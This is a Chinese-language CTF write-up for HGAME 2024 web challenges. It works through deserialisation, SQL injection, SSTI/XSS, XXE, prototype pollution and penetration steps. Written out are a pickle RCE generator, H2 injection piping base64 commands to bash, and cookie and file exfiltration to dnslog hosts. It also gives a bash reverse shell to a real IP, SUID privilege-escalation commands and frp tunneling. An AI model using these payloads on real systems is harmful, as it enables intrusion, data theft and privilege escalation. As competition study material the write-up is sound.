1.ezHTTP
题目描述:HTTP Protocol Basics
-
请从vidar.club访问这个页面
请求头:
Referer:vider.club
-
请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面
useragent:
User-Agent:Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
-
本地访问
X-Real-IP:127.0.0.1
最后flag在响应头中,yakit抓包解码获得
2.Secletc Course
题目描述:Can you help ma5hr00m select the desired courses?
最开始一直在想着怎么伪造课的状态,结果后面莫名其妙选上一次,猜测是每隔一段时间会有人退课,yakit重复发包就行
每一门科目操作方式相同,这边不断发包的同时,在浏览器不断刷新就能看到进度,最终五门课去全部选上就出flag(时间感觉靠运气,做题的时候第五个跑了半个小时)
3.Bypassit
题目描述:This page requires javascript to be enabled 🙂
进入提示登录
无法直接登录,前往注册路由
弹窗提示无法注册,弹窗一般都由前端js代码实现,禁用js
谷歌浏览器,设置,隐私安全中进行禁用
禁用后实现注册
注册完成,重新启用js,登录
登录完成,点击click here即出flag
4.2048*16
题目描述:2048还是太简单了,柏喵喵决定挑战一下2048*16
题目页面就是2048游戏(不过是2048*16)
最初思路直接找了一个2048游戏的ai,在本地跑了10w分,但是卡在将ai接入浏览器,成功接入火狐浏览器,但没法修改网页js,ai无法识别混淆后的代码(ai主要识别原版中的GameManager
函数),Chrome成功修改js,但没法接入Ai
鼠标右键被禁用,ctrl+shift+i打开开发者界面,且存在反调试,一旦打开开发者界面,游戏暂停
审计代码发现代码被混淆,在游戏界面下方发现这个即原版2048.
点击链接进入原版,发现原版代码并没有被混淆
参考原版代码,
发现这里存在一个游戏输赢的判定,尝试把t前后都都改为 s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3")
(根据审计,s0是一个解密函数,赢了才会调用)
然后把全部代码拖到控制台
修改成功后,无论输赢都会对其进行调用,输出flag
5.jhat
题目描述:jhat is a tool used for analyzing Java heap dump files
提示1hint1: need rce
提示2hint2: focus on oql
提示3hint3: 题目不出网 想办法拿到执行结果
学习文章:
https://wooyun.js.org/drops/OQL(%E5%AF%B9%E8%B1%A1%E6%9F%A5%E8%AF%A2%E8%AF%AD%E8%A8%80)%E5%9C%A8%E4%BA%A7%E5%93%81%E5%AE%9E%E7%8E%B0%E4%B8%AD%E9%80%A0%E6%88%90%E7%9A%84RCE(Object%20Injection).html
直接抄poc
java.lang.Runtime.getRuntime().exec('ls')
显示porcess代表执行了,结合题目不出网(限制TCP协议),进行dnslog外带(UDP协议)
hgame Week2 WP
What the cow say
反引号命令执行
找到flag_is_here
waf过滤了cat flag
用tac读取
`tac /f*`
提示是一个目录
查看该目录下的内容
找到flag文件
继续tac读
`tac /f*/f*`
得到flag
Select More Courses
提示密码安全等级太低,猜测为弱密码
上字典爆破
找到密码为qwert123
登录进去后点击扩分提示Race against time
直接用yakit重复发包
同时同样的操作重复发选课
得到flag
(不知道主页提示的失物查找功能有啥用)
Myflask
打开容器得到源码
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
route('/')
.def index():
session['username'] = 'guest'
return send_file('app.py')
route('/flag', methods=['GET', 'POST'])
.def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
可知存在/flag路由,但是需要JWT伪造为admin用户
JWT伪造需要秘钥,在源码中发现secret_key为curretTime,即容器开启时第一次运行该脚本的时间戳
截取一下源代码得到时间戳
import pickle
import base64
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
print(currentTime)
然后在开启容器的同时跑一下脚本(左图),得到时间戳的大致范围,然后session解密,得到时间戳(右图)
得到时间戳之后用密码伪造{'username':'admin'}
伪造之后进去/flag路由
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
下一步pickle反序列化,且数据需要经过base64编码
pickle反序列化脚本
import pickle
import base64
class genpoc(object):
def __reduce__(self):
cmd = 'cat /flag'
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,))
poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))
cmd中填需要执行的命令
传入即可得到flag
search4member
首先查一下数据库
a' union select 1,database(),3 --+
H2数据库RCE(CVE-2021-42392)
reference:
https://www.cnblogs.com/0x28/p/14546972.htm
创建命令执行函数
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
创建完后通过堆叠注入,调用SHELLEXEC从而RCE
curl `cat /flag`.oqtfzruqzd.dgrh3.cn
编码后:
Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu
命令执行为:
'bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}'
payload:
1';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}');--+
梅开二度
题目源码
package main
import (
"context"
"log"
"net/url"
"os"
"regexp"
"sync"
"text/template"
"time"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"golang.org/x/net/html"
)
var re = regexp.MustCompile(`script|file|on`)
var lock sync.Mutex
func main() {
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)...)
defer cancel()
r := gin.Default()
r.GET("/", func(c *gin.Context) {
tmplStr := c.Query("tmpl")
if tmplStr == "" {
tmplStr = defaultTmpl
} else {
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr)
}
tmpl, err := template.New("resp").Parse(tmplStr)
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil {
c.String(500, "execute template error: %v", err)
}
})
r.GET("/bot", func(c *gin.Context) {
rawURL := c.Query("url")
u, err := url.Parse(rawURL)
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" {
c.String(403, "host is invalid")
return
}
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
)
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()),
chromedp.Sleep(time.Second*10),
); err != nil {
log.Println(err)
}
}()
c.String(200, "bot will visit it.")
})
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" {
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag")
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
c.Status(200)
})
r.Run(":8080")
}
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
<title>YOU ARE</title>
</head>
<body>
<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
<div>flag在bot手上,想办法偷过来</div>
</body>
`
审计源码得知,词义引用了text/html
模版包
在Go的SSTI中,一般漏洞源于text/template 和 html/templat
两个模版包,二者主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,其中text/template对 XSS 或任何类型的 HTML 编码都没有保护,能够导致XSS,此题便是
在/
路由下调用了tmpl.Execute
函数,因此在/
路由下进行go的ssti
在审计源码得到在,在/flag
路由下会对IP进行检测,将Cookie设为最终的flag
因此大致思路就是使得靶机benifit访问/flag
路由,得到为flag的Cookie后,在讲Cookie进行带出
此处在SSTI中进行XSS,payload:
<script>
{{.Query `xss`}}&xss=<script>
//访问`/flag`路由,使得Cookie被设置为flag,
window.open("http://127.0.0.1:8080/flag");
//通过{{.Cookie`flag`}},获取Cookie中的flag,并将数据进行发送进行DNSlog外带
fetch("http://127.0.0.1:8080/?tmpl={{.Cookie`flag`}}").then(response=>response.text()).then(data=>fetch("http://"+data.substring(6,46)+"di9tmm0q.requestrepo.com"));
//外带flag
</script>
Hgame Week3
web VPN
题目描述:
WebVPN是新一代纯网页形式的VPN,用户无需安装任何插件或客户端,就能访问原本内网才能访问的信息系统。 用户名:username 密码:password
考点:js原型链污染
登录后页面为
baidu.com
,可正常点击,但因为题目不出网,无法正常跳转
google.com
,无法正常点击
审计源码,发现导致这两个差别的源码如下
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
源码中,发现漏洞函数update
存在原型链污染
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
在/user/info
页面下被调用
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
/flag
路由代码如下
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
要求ip必须为127.0.0.1
因此得到大致思路:
-
在
/user/info
页面下进行原型链污染,将127.0.0.1
污染进userStorage -
在主页面利用跳转功能,进行访问
127.0.0.1:3000/falg
,即可得到flag
进行污染
{"constructor":{"prototype":{"127.0.0.1":true}}}
利用/proxy?url=http://127.0.0.1:3000/flag
访问得到flag
VidarBox
题目源码
package org.vidar.controller;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.*;
public class BackdoorController {
private String workdir = "file:///non_exist/";
private String suffix = ".xml";
"/")
( public String index() {
return "index.html";
}
"/backdoor"}) // backdoor路由,获取请求字符串 fname ,与wordir、suffix进行拼接,对本地文件进行读取,然后suffix拼接后,将文件作为xml格式进行解析
({
public String hack( String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
if (content != null && this.safeCheck(content)) { //检测是否读取成功,并采用safeCheck函数对文件内容进行检测
XMLReader reader = XMLReaderFactory.*createXMLReader*();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success"; //若读取成功,也只能返回success,而无法返回结果
} else {
return "error"; //读取失败则直接返回error
}
}
private boolean safeCheck(byte[] stream) throws IOException { //safeCheck函数定义,要求文件内容不得包含以下四个字符(采用UTF-16be进行绕过)
String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}
}
参考晨曦大佬博客:https://chenxi9981.github.io/hgame2024_week3/
类似于PHP中的临时文件上传(自我感觉),在springboot中 无论代码是否存在着处理文件的代码逻辑,都会接受然后生成一个临时文件,再该请求结束之后再进行删除,因此可以通过这个临时文件在靶机短暂的存在时刻,对该文件进行访问利用
在生成临时文件的同时,系统也创建一个进程(/proc/self/{id}
),因此在利用这个临时文件,可以直接对id进行爆破,从而达到临时文件的利用
首先编写一个XXE的paylaodd,进行读取根目录下的flag,并远程读取自己vps上的dtd文件,利用外部实体进行DNSlog外带
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://175.178.29.101/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
再采用UTF-16be
编码绕过cat payload.xml | iconv -f utf-8 -t utf-16be > a11.xml
编码成功后利用此文件进行文件进行文件上传,上传脚本:
import requests
import io
import threading
url='http://139.196.183.57:32517/' #引入url
def write():
while True:
response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
#print(response.text)
if __name__=='__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write).start()
evnet.set()
爆破临时文件脚本
import requests
import io
import time
import threading
while True:
for i in range(10, 35):
try:
#print(i)
url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23' # 引入url
# print(r.cookies)
response = requests.get(url,timeout=0.5)
print(i,response.text)
if response.text == 'success' or response.text == 'error':
print(i,response.text)
time.sleep(10)
except:
pass
#print("no")
在vps网站跟目录下放下dtd文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">
然后dnslog外带出flag
Zero Link
routes.go
文件源码,定义路由,即路由相关请求方式,所调用函数
package routes
import (
"fmt"
"html/template"
"net/http"
"os"
"os/signal"
"path/filepath"
"zero-link/internal/config"
"zero-link/internal/controller/auth"
"zero-link/internal/controller/file"
"zero-link/internal/controller/ping"
"zero-link/internal/controller/user"
"zero-link/internal/middleware"
"zero-link/internal/views"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func Run() {
r := gin.Default()
html := template.Must(template.New("").ParseFS(views.FS, "*"))
r.SetHTMLTemplate(html)
secret := config.Secret.SessionSecret
store := cookie.NewStore([]byte(secret))
r.Use(sessions.Sessions("session", store))
api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)
apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}
frontend := r.Group("/")
{
frontend.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
frontend.GET("/login", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", nil)
})
frontendAuth := frontend.Group("")
frontendAuth.Use(middleware.Auth())
{
frontendAuth.GET("/manager", func(c *gin.Context) {
c.HTML(http.StatusOK, "manager.html", nil)
})
}
}
quit := make(chan os.Signal)
signal.Notify(quit, os.Interrupt)
go func() {
<-quit
err := os.Remove(filepath.Join(".", "sqlite.db"))
if err != nil {
fmt.Println("Failed to delete sqlite.db:", err)
} else {
fmt.Println("sqlite.db deleted")
}
os.Exit(0)
}()
r.Run(":8000")
}
注意到在/api
下存在一个user
,且其中调用了一个名叫user.GetUserInfo
的函数(即主页搜索框所实现的功能)
且页面右侧存在Manager
管理登录页面,猜测需要通过此处得到管理员账户密码,进行登录
定位到源码中/src/controler/user/user.go
文件,审计代码
package user
import (
"net/http"
"zero-link/internal/database"
"github.com/gin-gonic/gin"
)
type UserInfoResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data *database.User `json:"data"`
}
func GetUserInfo(c *gin.Context) { //定义请求数据为{"username":"xxx","token":"xxx"}
var req struct {
Username string `json:"username"`
Token string `json:"token"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, UserInfoResponse{
Code: http.StatusBadRequest,
Message: "Invalid request body",
Data: nil,
})
return
}
if req.Username == "Admin" || req.Token == "0000" { //限制username不得为admin或者token为0000,进制禁访问
c.JSON(http.StatusForbidden, UserInfoResponse{
Code: http.StatusForbidden,
Message: "Forbidden",
Data: nil,
})
return
}
user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
if err != nil {
c.JSON(http.StatusInternalServerError, UserInfoResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get user",
Data: nil,
})
return
}
if user == nil {
c.JSON(http.StatusNotFound, UserInfoResponse{
Code: http.StatusNotFound,
Message: "User not found",
Data: nil,
})
return
}
response := UserInfoResponse{
Code: http.StatusOK,
Message: "Ok",
Data: user,
}
c.JSON(http.StatusOK, response)
}
调用函数database.GetUserByUsernameOrToken
定位至/src/database/salite.go
文件
package database
import (
"log"
"zero-link/internal/config"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
)
var db *gorm.DB
type User struct {
gorm.Model
Username string `gorm:"not null;column:username;unique"`
Password string `gorm:"not null;column:password"`
Token string `gorm:"not null;column:token"`
Memory string `gorm:"not null;column:memory"`
}
func init() {
databaseLocation := config.Sqlite.Location
var err error
db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
if err != nil {
panic("Cannot connect to SQLite: " + err.Error())
}
err = db.AutoMigrate(&User{})
if err != nil {
panic("Failed to migrate database: " + err.Error())
}
users := []User{
{Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
{Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
{Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
{Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
{Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
{Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
{Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
{Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
{Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
{Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
{Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
{Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
{Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
{Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
{Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
}
for _, user := range users {
result := db.Create(&user)
if result.Error != nil {
panic("Failed to create user: " + result.Error.Error())
}
}
}
func GetPasswordByUsername(username string) (string, error) {
var user User
err := db.Where("username = ?", username).First(&user).Error
if err != nil {
log.Println("Cannot get password: " + err.Error())
return "", err
}
return user.Password, nil
}
func GetUserByUsernameOrToken(username string, token string) (*User, error) {
var user User
query := db
if username != "" {
query = query.Where(&User{Username: username})
} else {
query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
log.Println("Cannot get user: " + err.Error())
return nil, err
}
return &user, nil
}
Go语言本身存在零值设计,当定义一个变量但是不进行赋值时,变量值自动为0,因此这里传空值时,username token
仍然为0,
因此POST body为{"username":"","token":""}
,
构造出SELECT * FROM
userLIMIT 1
使得查询出表中的第一个用户,这里即admin用户
成功得到admin用户密码,登录后界面如下
此时路由到了/manager
下
主要功能代码如下
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
存在文件上传和解压功能以及secret文件
定位调用函数/src/file/file.go
,源代码如下
package file
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"zero-link/internal/util"
"github.com/gin-gonic/gin"
)
type FileResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data string `json:"data"`
}
func UploadFile(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "No file uploaded",
Data: "",
})
return
}
ext := filepath.Ext(file.Filename)
if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "Only .zip files are allowed",
Data: "",
})
return
}
filename := "/app/uploads/" + file.Filename
if _, err := os.Stat(filename); err == nil {
err := os.Remove(filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to remove existing file",
Data: "",
})
return
}
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to save file",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "File uploaded successfully",
Data: filename,
})
}
func UnzipPackage(c *gin.Context) {
files, err := filepath.Glob("/app/uploads/*.zip")
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get list of .zip files",
Data: "",
})
return
}
for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Unzip completed",
Data: "",
})
}
func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}
secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Secret content read successfully",
Data: secretContent,
})
}
其中UnzipPackage
函数,将/uploads
目录下的zi0文件进行解压,至/tmp
目录下。因此无法上传webshell进行访问
且存在secret文件
但是直接对secret文件进行访问为fake_flag
,审计源码得知,在根目录下同时存在fake_flag flag
,因此真falg也在根目录下
因此需要将原有的secret进行覆盖,创建软连接,替换
具体操作:
ln -s /app web
zip --symlink web.zip web
创建一个指向/app路由的软连接,并进行压缩
//根目录下操作
mkdir /web
cd ..
echo "/flag" > /web/secret
zip -y /web/secret flag.zip
zip -y flag.zip /web/secret
上述操作完后得到两个压缩包,先上传web.zip
,访问/api/unzip
,对文件进行解压,重定向至/app
目录,然后上传flag.zip
再次访问/zpi/unzip
解压文件,使含有真正flag的文件对原本的secret文件进行覆盖
最后访问/api/secret
文件读到真正的flag
{{index .Request.URL.Query.parar 0}}&¶r=<script>alert(111)</script>
{{index .Request.URL.Query.a 0}}&a=<Script>eval("location.href = 'http://127.0.0.1:8080/flag';
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
sendSecondRequest()
}
};
function sendSecondRequest() {
xmlhttp.open("GET", "/?tmpl={{print .Request.Header.Cookie}}", false);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
var flag1=btoa(xmlhttp.responseText);
var flag1Hex = "";
for (var i = 0; i < flag1.length; i++) {
flag1Hex += flag1.charCodeAt(i).toString(16);
}
location.href = 'http://'+ flag1Hex.substring(148,200) +'.mzp9rx.dnslog.cn'
}
};
xmlhttp.send('');
}
xmlhttp.open('GET', '/flag', false);
xmlhttp.send('');")%3b</Script>
HGAME Week4
Whose Home
题目描述:
“这是谁的家?”
“好像是个路由佬。”
这是一个以个人/家庭为背景的入门级渗透靶场,里面没有坑也没有什么难题,希望大家玩的开心。
一共有2个flag。
题目首页为一个登录界面,
对标题直接进行搜索qBittorrent Web UI
在维基百科找到相关信息
在特性中可以得到一些有用信息
此外在搜索时,搜索引擎直接弹出默认密码
使用admin/adminadmin账户密码成功登录,进入管理界面
在标题栏中得到版本信息为4.5.5
直接搜索qBittorrent 漏洞
等关键词,只查到在较低的版本中存在
(后自己在设置中该为了中文)
发现在选项/下载
下存在一个运行外部脚本的功能(搜索得知支持bash和python)
且该页面存在文件上传功能
后续尝试思路为上传恶意脚本,并利用执行外部脚本的功能进行执行
操作方法为:在本地编写反弹shell脚本:
bash -c "bash -i >& /dev/tcp/175.178.29.101/6666 0>&1"
然后将后缀改为torrent
文件,在上传界面中可以选择文件路径。并且可以重命名,因此将文件重名为:shell.sh
之后随便上传一个torrent文件,触发脚本运行(但运行失败)
torrent下载链接:
magnet:?xt=urn:btih:3a398cd6688e999f048bcbe868c5a81ee0fa1c93&dn=A-League.Mens.2024.01.13.Adelaide.United.Vs.Sydney.FC.XviD-AFG%5BEZTVx.to%5D.avi%5Beztvx.to%5D&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&tr=udp%3A%2F%2Fp4p.arenabg.com%3A1337%2Fannounce&tr=udp%3A%2F%2Ftracker.torrent.eu.org%3A451%2Fannounce&tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce
后考虑到qBittorrent 采用C++语言进行编写,尝试了截断,但还是失败
后看wp发现运行脚本初可以直接写命令得到执行,直接反弹shell
反弹shell成功但还只是普通用户abc
,(但复现时使用的docker容器可以直接进行cat flag
)
根据wp进行suid提权
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
查找具有root权限的suid文件,以下命令都可以
find / -user root -perm -4000 -exec ls -ldb {} \; find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
找到有iconv
指令具有root权限可以进行读取文件
读取flag
iconv /flag
拿到第一个flag
在/config
目录下找到
后续进行内网渗透
使用nc进行内网端口扫描:
nc -z 100.64.43.4 1-65535 | grep suc
wget https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_arm64.tar.gz tar -xvf frp* cd frp*
靶机没有vim,直接echo写配置信息(有vi 但是写了没法退出)
echo'serverAddr = "175.178.29.101" serverPort = 7000 [[proxies]] name = "ssh" type = "tcp" localIP = "100.64.43.4" localPort = 22 remotePort = 9999 [[proxies]] name = "rpc" type = "tcp" localIP="100.64.43.4" localPort = 6800 remotePort=6800" '> frpc.toml
在vps(server端)上修改frps.toml
./frps -c frps.toml
靶机启动frp
./frpc -c frpc.toml
穿透成功后,利用Aria2任意文件读写漏洞
https://binux.github.io/yaaw/demo/#
http://token:[email protected]:6800/jsonrpc
(没连上,寄)
之后覆盖/root/.ssh/authorized_keys
公钥登录得到第二个flag
Reverse and Escalation.
无环境,采用vulhub复现对应CVE:CVE-2023-46604
使用弱密码admin/admin
登录进入网站
可以找到版本信息5.17.3
访问/api/jolokia/list
查看当前服务器里所有的MBeans
使用执行poc脚本写webshell
python3 poc.py -u admin -p admin http://175.178.29.101:8161
提示webshell成功写在了/admin/shell.jsp
中
访问即可达到命令执行